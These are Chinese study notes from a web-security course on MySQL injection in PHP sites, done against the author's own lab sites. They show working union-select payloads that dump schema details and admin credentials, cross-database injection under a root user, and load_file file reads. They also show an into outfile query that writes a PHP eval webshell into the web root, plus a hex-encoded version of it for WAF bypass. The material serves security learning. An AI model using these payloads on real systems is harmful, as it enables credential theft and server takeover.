前记
- 今天是学习小迪安全的第四十二天,本节课主要讲了PHP应用中MySQL注入的基础知识,所以需要提前了解SQL注入的相关知识
- 如果需要进阶学习,可以看这个视频:橙子科技——SQL注入由简入精
- 然后这节课所有用到的代码我都打包放在了下面链接,有需要的可以自取:
WEB攻防——第四十二天
PHP应用&MySQL架构&SQL注入&跨库查询&文件读写&权限操作
MySQL注入
PHP - MySQL&SQL常规查询
-
在学习这节内容前,我们需要了解什么是SQL注入、SQL注入有哪些类型,以及常用的SQL语法
-
通过前面的学习当中,其实我们也了解得差不多了,如果已经忘记的话,这里给出一篇大佬的文章可以参考一下:什么是SQL注入?SQL注入详解(非常详细)零基础入门到精通,收藏这一篇就够了-CSDN博客
-
对于MySQL来说,我们在注入之前可以通过以下命令去获取当前网站的相关信息:
- 数据库版本 - 看是否符合
information_schema
查询 -->version()
- 数据库用户 - 看是否符合
ROOT
型注入攻击 -->user
- 当前操作系统 - 看是否支持大小写或文件路径选择(
Windows
大小写不敏感,Linux
大小写敏感) -->@@version_compile_os
- 数据库名字 - 为后期猜解指定数据库下的表、列做准备 -->
database()
- 数据库版本 - 看是否符合
-
MySQL 5.0以上版本:自带的数据库名
information_schema
-
这个数据库里面很重要的几个数据库表如下:
-
information_schema
:存储数据库下的数据库名,列名信息的数据库
-
information_schema.scheamta
:记录数据库名信息的表schema_name
:就是当前数据库存在的库名
-
information_schema.tables
:记录表名信息的表table_schema
:就是当前数据库的库名table_name
:指定数据库的表名
-
information_schema.columns
:记录列名信息的表table_schema
:当前数据库的库名table_name
:指定数据库的表名column_name
:指定表的列名
-
-
MySQL中有内置的管理用户,其中
root
用户就是默认的数据库管理员用户 -
一般是通过
root
用户创建多个表去管理多个网站,但是也可以通过创建新用户去管理不同网站(在配置文件中更改数据库连接用户即可)
PHP - MySQL&Web组成架构
- 服务器安装MySQL数据库,搭建多个站点,数据库集中存储MySQL数据库中管理可以都使用root用户管理,也可以创建多个用户对对应网站的数据库进行分布式管理
- 所以一般数据有三种管理方式:
1. root用户集中式进行管理
===> 只有一个`root`用户管理不同网站
| 域名 | |数据库| |管理员| |数据库类型|
www.zblog.com => zblog => root => MySQL
www.message.cccc => message => root => MySQL
2. 不同用户分布式管理(推荐)
===> 多个不同的用户管理不同的网站
| 域名 | |数据库| |管理员| |数据库类型|
www.zblog.com => zblog => zblog => MySQL
www.message.cccc => message => message => MySQL
3. 多个用户主从关系式管理
==> 是2的衍生,root用户管理某个主网站,其他用户管理子网站
| 域名 | |数据库| |管理员| |数据库类型|
www.zblog.com => zblog => root => MySQL
www.message.cccc => message => message => MySQL
- 基于上述的管理方式,会带来不同的安全问题,即我们有不同的注入方案
实战案例
root用户集中式管理
- 这类网站的立体架构如下:
mysql
root
网站A databaseA
网站B databaseB
-
假设我们有两个站点,一个是
zblog
博客,地址为http://zblog.zblog:88
![[Pasted image 20250725230542.png]] -
一个为之前搭建的php新闻网站,地址为:
http://message.cccc:8081/news.php
-
它们的数据库分别是
message_cccc
和zblog
,现在它们都被同一个用户管理着
-
现在我们第一步是确认注入点,可以很明显地知道网站二存在SQL注入,因为SQL语句都标出来了
-
然后使用
hackbar
尝试注入,正常来说是先判断是字符型还是数字型,可以通过这两条SQL语句id=1 and 1=1 --+
正常回显,id=1 and 1=2 --+
错误回显,说明是数字型
-
然后开始查询表中有多少列,使用
order by
或者group by
语句,一般用的是order by
,或者也可以直接select 1,2,...
去试:
-
可以看到7不回显,说明该表当中有六列数据
-
接下来是查询哪些位置可以回显,使用的是
union select 1,2,...
语句:
-
当然这里将前面的
id
值置为一个不可能存在的值更好,比如0
、-1
。可以看到的是回显位有2,3,4,5 -
那么我们就可以查询四信息了,SQL语句为
id=1 union select 1,version(),user(),@@version_compile_os,database(),6 --+
:
-
所以数据库版本为
5.7.26
,存在information_schema
数据库;当前用户为root
,高权限;然后操作系统为Windows64
,文件路径大小写不敏感;当前数据库名为message_cccc
-
接下来就可以通过
information_schema
表来获取数据库message_cccc
下存在的表名了,SQL
语句为:id=-1 union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema = database()),5,6 --+
:group_concat()
:将得到的表名用逗号拼接起来--+
:注释符,将后面多余的SQL语句注释掉,+
表示空格
-
得到了很多表名,我们需要的是
message_member
和users
,因为这两个可能保存账户 -
先对
message_member
注入吧,查看其列名,SQL语句为:id=-1 union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="message_member"),5,6 --+
(注意这里需要使用""
包裹表名):
-
得到该表的列名,我们需要的是
username
和password
,所以直接提取,SQL语句为:id=-1 union select 1,2,3,(select concat(username, 0x7e, password) from message_member limit 0,1),5,6 --+
concat()
:聚合函数,用于连接多个列值0x7e
:~
的十六进制表示,这里用作连接符limit 起始行n,长度m
:从第n行起,往下数m行数据输出。如limit 0,1
表示从第0行起,输出1行。
-
到这里,我们就成功得到了该网站管理员用户的账户名和密码,接下来就可以尝试找后台登录了
不同用户分布式管理——传统注入
- 这类网站的立体架构为:
mysql
userA
网站A databaseA
userB
网站B databaseB
- 那这其实就和上面的一样,找注入点,然后尝试注入拿取数据即可
多个用户主从关系式管理——跨库注入
- 这类网站的立体架构为:
mysql
root
网站A databaseA
userA
网站B databaseB
userB
网站C databaseC
-
这类数据库架构的基本注入方案和前面都差不多,但是它这种架构衍生出来另一种注入风险——跨库注入
-
当我的主站(
root
用户管理)存在SQL注入,但是旁站(其他用户管理)不存在SQL注入时,如果采用这类结构,那么就可以通过主站注入去拿到旁站的信息 -
这里还是以上面的网站案例做演示,假设zblog网站不存在注入点,而php新闻网站存在SQL注入
-
那么我们就可以利用
information_schema.schemata
拿到架设在root
下的所有数据库名,SQL语句为:id=-1 union select 1,2,3,(select group_concat(schema_name) from information_schema.schemata),5,6 --+
:
-
可以看到有一个
zblog
数据库,刚好另外一个网站搭建的是zblog
博客,那这很有可能是该网站的数据库 -
我们就尝试注入得到表名,注入语句其实就是上面的注入语句,改改数据库名就好了:
-
然后我们看到
zbp_member
可能存放账户信息,尝试注入得到列名:
-
那这里就得到了我们想要的表名:
mem_Name
和mem_Password
,尝试得到列值id=-1 union select 1,2,3,(select concat(mem_Name,0x7e,mem_Password) from zbp_member limit 0,1),5,6 --+
:
-
欸?这里注入失败了!原因是因为当前所处的真实数据库为
message_cccc
,我们想要查询的数据库为zblog
下的zbp_member
表,所以这里需要使用zblog.zbp_member
来表示,类似于C++/Java里面的 对象名.属性
-
成功拿到管理
zblog
管理员账号和密码,尝试解密然后登入后台 -
那其实这种跨库注入的话,只要是
root
用户都可以尝试实现
MySQL文件读写
-
MySQL数据库允许用户通过
load_file()
函数读取文件内容,使用into outfile "path"
语句导出SQL数据到指定文件中去 -
当然,完成上述操作需要一定的条件:
- 当前数据库用户的权限
secure-file-priv
设置:MySQL <= 5.7.25
版本是默认关闭的,表现为数值为空;MySQL >= 5.7.26
版本是默认开启的,表现为NULL或者限制路径;可以通过show variables like "secure_file_priv"
查看
-
实战中,我们可以查看
@@secure_file_priv
看是否开启:
-
无报错,无回显,说明是关闭的,可以读写任意文件
文件读取
-
假设我们有一个
1.txt
文件在D:\\Download
目录下,我们就可以通过load_file("D:\\Download\\1.txt)
读取:
-
那么你说这个有什么用,假设我们知道了当前网站源码所处的文件路径,那么我们是不是可以读取源码?是不是可以读取配置文件?那数据库密码可能就在配置文件当中啊
-
那你又问怎么得到当前源码所在的文件路径呢?一般知道了网站的中间件,那么就知道了很多配置文件是放在一个默认路径下面的,比如这里是Apache,它每个网站都有一个配置文件,放在
Extensions/Apache/conf/vhosts/网站名_端口.conf
里面,那这里面就可以看到当前网站源码所处的物理位置 -
比如我们在这里读取一下:
-
可以读取的路径有:load_file()常用路径_load file 目录-CSDN博客
-
那如果它更换位置了怎么办呢?
-
那此时我们也可以通过如下方式去找:
-
报错页面:有时候网站的报错页面是会暴露出当前路径
-
配置页面泄露:有些网站可能会泄露配置页面,比如常见的
phpinfo()
、compose.json
等
-
文件写入
-
当我们知道网站当前的路径之后,我们就可以直接写入木马文件了,SQL语句为
id=-1 union select 1,2,3,'<?php @eval($_POST[123]);?>',5,6 into outfile "D:\\phpstudy_pro\\WWW\\MessageContext\1.php" --+
:
-
可以看到成功写入!然后我们尝试蚁剑连接:
-
成功!
WAF绕过
-
这里只是提到了一嘴,如果有waf过滤的话,可以尝试十六进制编码绕过
-
比如这里,如果过滤了单引号,可以将一句话木马十六进制编码为:
0x3C3F70687020406576616C28245F504F53545B3132335D293B3F3E
-
也能够成功写入:
总结
- 我们进行SQL注入的目的是尝试获取管理员的账号密码或者直接获取主机的权限
- 所以如果开启了读写权限,那我们就可以自己写入木马
getshell
;没有开启就需要尝试获取管理员账号密码进后台 - 既然我们要获取账号密码,那我们注入的最终目的就变成了获取某个表中的某个字段数据
- 所以我们就必须要知道数据库名、表名、列(字段)名这些信息
- 那么怎么样去得到这些信息呢?就是需要我们去了解如何写入SQL语句尝试注入啊
- 我们知道不同的数据库它的语法、功能这些都是不同的,所以我们需要去了解当前网站的数据库类型、数据库版本、当前数据库用户的权限、当前系统类型等信息才行吧
- 那从下往上推,我们就可以基于这些得到的信息去选择测试方案:
root
用户:先测试有无读写权限(@@secure_file_priv
),后尝试SQL注入- 非
root
用户:直接尝试SQL注入